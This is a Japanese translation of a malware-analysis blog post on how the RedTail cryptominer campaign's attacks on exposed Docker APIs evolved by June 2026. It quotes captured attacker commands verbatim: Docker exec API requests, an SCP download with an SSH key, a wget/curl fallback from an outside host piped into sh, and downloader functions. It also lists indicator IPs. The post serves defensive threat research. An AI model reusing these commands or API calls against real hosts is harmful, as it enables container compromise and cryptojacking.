要約
2025年11月、Beelzebub LabsのMario Candelaによる調査により、RedTailがポート2375上の公開Docker APIを標的にしていることを示す、初の公式文書化された証拠が報告されました。
2026年6月にBeelzebubハニーポットが捉えた新たなキャプチャにより、このキャンペーンが継続的に進化していることが明らかになりました。コンテナ内で実行されるコマンドには、OpenSSH秘密鍵とSSH設定が含まれており、主要な取得手段としてSCPを使用し、HTTPSをフォールバックとして利用しています。
また今回のキャプチャでは、ペイロードの変化も確認されています。具体的には、ダウンローダーロジックが更新され、ファイル名生成のフォールバックが追加された、密接に関連する2つのBashバリアントが存在します。一方で、docker.selfrep引数と、11月に観測されたマイナーの展開動作は引き続き維持されています。これらの変化は、RedTailの背後にいる攻撃者が依然として活発に活動し、配送技術とペイロードツールの更新を続けていることを示しています。
はじめに
2025年11月、Beelzebub LabsのMario Candelaによる調査により、ポート2375上の公開Docker APIを標的としたRedTailクリプトマイナー活動を示す、初の公式文書化された証拠が報告されました。それ以前のRedTailに関する公開レポートは、Webアプリケーション、IoTデバイス、VPN、ネットワーク機器の脆弱性悪用に焦点を当てていました。
2026年6月、Beelzebubハニーポットが公開Docker APIに対するさらなるRedTail活動を記録し、コンテナ内で実行されるコマンドと取得されるペイロードの両方に変化が見られることが判明しました。
今回の活動では、11月に観測された特徴的なlibredtail-httpユーザーエージェントとdocker.selfrep引数が維持されており、両キャプチャのつながりが確認されています。これらの変化は、RedTailの背後にいる攻撃者が引き続き活発に活動し、配送技術とペイロードツールの更新を続けていることの証拠となっています。
本記事では、2026年6月に捉えた配送チェーン全体を分析します。コンテナの列挙とexecの作成から切り離された実行まで、さらにコンテナ内で実行されるコマンドとそれが取得するペイロードについても詳しく解説します。
配送チェーンの分析
以下のシーケンスは、2026年6月10日に観測された最も早い活動から取得した、配送チェーンの代表的な例です。同一パターンは、データセット内の他のソースIPからも記録されています。
UTC 04:13:07、ソースIP 47.77.182.54が公開Docker APIを通じて実行中のコンテナを列挙するリクエストを送信しました。
GET /containers/json
レスポンスには、実行中のコンテナの一覧が返されました。
UTC 04:13:08、同一ソースが発見されたコンテナに対してexec-createリクエストを発行しました。
POST /containers/<redacted-container-id>/exec
各リクエストには、同一のRedTailステージングコマンドが含まれていました。
以下のイベントはその一例を示しています。埋め込まれた秘密鍵、対象ホスト、コンテナIDはプレースホルダーに置き換えられています。
{
"DateTime": "2026-06-10T04:13:08Z",
"SourceIP": "47.77.182.54",
"Protocol": "HTTP",
"UserAgent": "libredtail-http",
"HostHTTPRequest": "<redacted-host>:2375",
"HTTPMethod": "POST",
"RequestURI": "/containers/<redacted-container-id>/exec",
"Body": {
"AttachStdout": false,
"AttachStderr": false,
"Cmd": [
"sh",
"-c",
"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk [email protected]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker.selfrep; else (wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep; fi; rm -rf sshcfg key.ppk out_sh"
]
}
}
このリクエストはDockerに対して、以下を実行するexecインスタンスの作成を指示しています。
sh -c "<staging command>"
標準出力と標準エラー出力へのアタッチは無効化されています。
{
"AttachStdout": false,
"AttachStderr": false
}
ステージングコマンドはまず、書き込み可能な一時ディレクトリのいずれかに移動します。
cd /tmp || cd /var/tmp || cd /dev/shm
次に、コンテナ内にOpenSSH秘密鍵を書き込み、一時的なSSHクライアント設定を作成します。
echo '<REDACTED OPENSSH PRIVATE KEY>' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
このSSH設定は、ホスト鍵の検証を無効にし、ホスト情報がknown-hostsファイルに保存されないようにします。これにより、SCPコマンドはホスト検証の入力待ちなしで実行できます。
秘密鍵に400のパーミッションが設定されているのは、OpenSSHが他のユーザーからアクセス可能な秘密鍵を拒否するためです。
主要な取得パスはSCPを使用します。
scp -F sshcfg -i key.ppk [email protected]:sh out_sh
このコマンドはユーザーdlrとして217.60.195.113に認証し、リモートファイルshを取得して、コンテナ内にout_shとして保存します。
SCPによる転送が成功した場合、ステージングコマンドはダウンロードしたスクリプトを実行可能にし、docker.selfrepを引数として起動します。
chmod +x out_sh
sh out_sh docker.selfrep
SCPが失敗した場合、ステージングコマンドはHTTPS経由で関連スクリプトを取得します。
(wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep
フォールバックではまずwgetを試み、失敗した場合はcurlを使用します。どちらのコマンドもTLS証明書の検証を無効にしています。ダウンロードされたスクリプトはdocker.selfrepを引数としてshに直接ストリーミングされます。
選択されたスクリプトの実行が完了すると、ステージングコマンドは一時SSHファイルとローカルに保存されたout_shスクリプトを削除します。
rm -rf sshcfg key.ppk out_sh
同一ソースはその後、Docker exec-startエンドポイントにリクエストを送信しました。
POST /exec/<redacted-exec-id>/start
最初のstartリクエストはUTC 04:13:08に記録され、その後UTC 04:13:09に追加のstartリクエストが続きました。各リクエストは以下の設定を使用しています。
{
"Detach": true,
"Tty": false
}
これにより、TTYを割り当てずにデタッチモードでexecインスタンスが起動されます。ステージングコマンドは選択されたコンテナ内で実行されます。
代表的なシーケンスをまとめると、以下のとおりです。
| 時刻(UTC) | Docker API呼び出し | アクション |
|---|---|---|
04:13:07 |
GET /containers/json |
実行中のコンテナインベントリの列挙と取得 |
04:13:08 |
POST /containers/<container-id>/exec |
ステージングコマンドを含むexecインスタンスの作成 |
04:13:08〜04:13:09 |
POST /exec/<exec-id>/start |
対象コンテナ内でのステージングコマンド実行 |
起動後、ステージングコマンドはコンテナ内で以下の手順を実行します。
- 書き込み可能なディレクトリ(
/tmp、/var/tmp、または/dev/shm)に移動 key.ppk秘密鍵とsshcfgSSH設定を書き込み217.60.195.113からSCP経由でペイロードの取得を試行- 成功時:
out_sh docker.selfrepを実行 - 失敗時:
https://14.46.136.77/shから取得し、HTTPSバリアントをdocker.selfrepとともに実行
- 成功時:
- アーティファクトのクリーンアップとして
sshcfg、key.ppk、out_shを削除
このシーケンスは、データセット内の複数のソースIPからの活動にわたって繰り返されていました。
ペイロードの分析
ステージングコマンドは、密接に関連する2つのBashペイロードバリアントのいずれかを実行します。SCPパスはリモートスクリプトをout_shとして保存し、HTTPSフォールバックは関連するshバリアントをシェルに直接ストリーミングします。
どちらもdocker.selfrep引数を受け取り、同一の展開ロジックを共有しています。主な違いは、cleanとマイナーバイナリの取得に使用するダウンローダーロジックです。
ランダム化された隠しファイル名
両スクリプトとも、マイナー用の隠しファイル名を生成します。
FILENAME=".$(get_random_string)"
ランダム名生成関数はopenssl、/dev/urandom、Bashの$RANDOMを順に試みます。これらの方法がすべて失敗した場合、静的な値redtailを使用します。
ダウンローダーロジック
2つのペイロードバリアントの主な違いはdlr()関数にあります。
SCPで配送されるout_shバリアントは、まずSCPを試み、転送が失敗した場合はHTTPSにフォールバックします。
dlr() {
rm -rf $1
scp -F sshcfg -i key.ppk [email protected]:$1 $1
if [ $? -ne 0 ]; then
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
fi
}
HTTPS経由で配送されるshバリアントは、wgetまたはcurlのみを使用します。
dlr() {
rm -rf $1
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
}
両バリアントとも、この関数を使用してcleanコンポーネントとアーキテクチャ別のマイナーバイナリを取得します。
作業ディレクトリの選択
両スクリプトとも、適切な作業ディレクトリを検索します。そのプロセスは以下のとおりです。
- 現在のユーザーが所有し、読み取り・書き込み・実行権限を持つディレクトリを探します
- 初回検索では
noexecでマウントされたファイルシステム上のパスを除外します /procおよび/tmp配下のディレクトリを除外します/tmp、/var/tmp、/dev/shmを追加候補として加えます- 一時ファイルを作成し、
ddまたはtruncateで2MBのファイルを割り当てることで各ディレクトリをテストします - これらのチェックを通過した最初のディレクトリを選択します
out_shバリアントはさらに、key.ppkとsshcfgを/tmpから選択したディレクトリに移動し、SCPダウンローダーが引き続き使用できるようkey.ppkに400のパーミッションを適用します。
cleanスクリプト
マイナーをダウンロードする前に、両バリアントともcleanという名前のスクリプトを取得して実行します。
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
rm -rf $FILENAME
Beelzebubの以前の調査で説明されているように、cleanコンポーネントの役割は以下と考えられます。
- 競合するクリプトマイナーの終了
- 他の攻撃者のマルウェアの削除
- CPUリソースの解放
実行後、スクリプトはcleanを削除し、既存の.redtailファイルを消去し、新たに生成された隠しファイル名に一致するファイルをすべて削除します。
マルチアーキテクチャ対応の展開
両スクリプトとも、以下のコマンドでシステムアーキテクチャを検出します。
ARCH=$(uname -mp)
4種類のマイナーバイナリのうち1つを選択します。
x86_64およびamd64向けにx86_64i386、i486、i586、i686向けにi686armv8およびaarch64向けにaarch64armv7向けにarm7
認識されたアーキテクチャの場合、スクリプトはdlr()を使用して対応するバイナリをダウンロードし、ランダム化された隠しファイル名にリネームして実行可能にし、ステージングコマンドから受け取った引数とともに起動します。
chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1
今回のキャプチャでは、$1にはdocker.selfrepが含まれています。
アーキテクチャが認識されない場合、スクリプトはx86_64、i686、aarch64、arm7の順にダウンロードして実行を試みます。
実行後、out_shバリアントはさらにsshcfgとkey.ppkを削除します。
2025年11月のBeelzebubキャプチャとの比較
2025年11月のキャプチャでは、直接HTTPベースのステージングコマンドが使用されていました。
cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh
このコマンドは178.16.55.224からshをダウンロードしてredtail.shとして保存し、docker.selfrepとともに実行した後、スクリプトを削除していました。
2026年6月のコマンドはSCPを主要な取得手段として使用しています。OpenSSH秘密鍵とSSH設定をコンテナに書き込み、217.60.195.113からshを取得してout_shとして保存します。SCPが失敗した場合は、14.46.136.77からHTTPS経由で関連スクリプトを取得します。
ペイロードのロジックは両キャプチャ間で概ね共通しています。主なペイロードの変化はダウンローダーにあります。11月のスクリプトはwget、curl、および/dev/tcpフォールバックを使用していました。6月のout_shバリアントはSCPを優先しHTTPSをフォールバックとして使用し、6月のshバリアントはwgetまたはcurlによるHTTPSを使用しています。
6月のスクリプトには、ファイル名生成のフォールバックとして/dev/urandom、$RANDOM、および静的値redtailも含まれています。これらの手法は11月の調査では記録されていませんでした。
侵害の痕跡(IoC)
観測されたソースIP
101.36.104.242109.236.50.3157.245.118.253212.22.85.23747.77.182.5447.79.37.11768.183.234.194
ペイロードステージングインフラ
| インジケーター | 役割 |
|---|---|
217.60.195.113 |
SCPステージングサーバー |
14.46.136.77 |
HTTPSサーバー |
まとめ
今回の新たなキャプチャにより、RedTailの運営者がDocker APIへの攻撃チェーンを一時的な試みとして扱うのではなく、積極的に改良し続けていることが確認されました。2025年11月の初観測以降、ステージングコマンドはシンプルなHTTPダウンロードから多段階のルーティンへと進化しています。現在はOpenSSH秘密鍵と設定をコンテナに組み込み、SCP取得を優先しつつ、HTTPSはフォールバックとしてのみ保持するようになっています。
SCPベースの配送への移行と追加のファイル名生成フォールバックは、コアのマイニングペイロードを安定させながら、耐障害性と検出回避の強化を繰り返し行っているオペレーションの特徴を示しています。公開状態のDocker APIは依然として価値の高い、かつ監視が不十分な標的であり、このキャンペーンはインターネットからアクセス可能な状態を放置することのリスクを改めて示しています。🚨
本記事は、マルウェア分析に特化した継続シリーズの最新エントリです。
Beelzebubコミュニティは、インターネットをより安全な場所にするための取り組みを続けています。❤️
翻訳元: https://beelzebub.ai/blog/redtail-docker-api-campaign-evolves/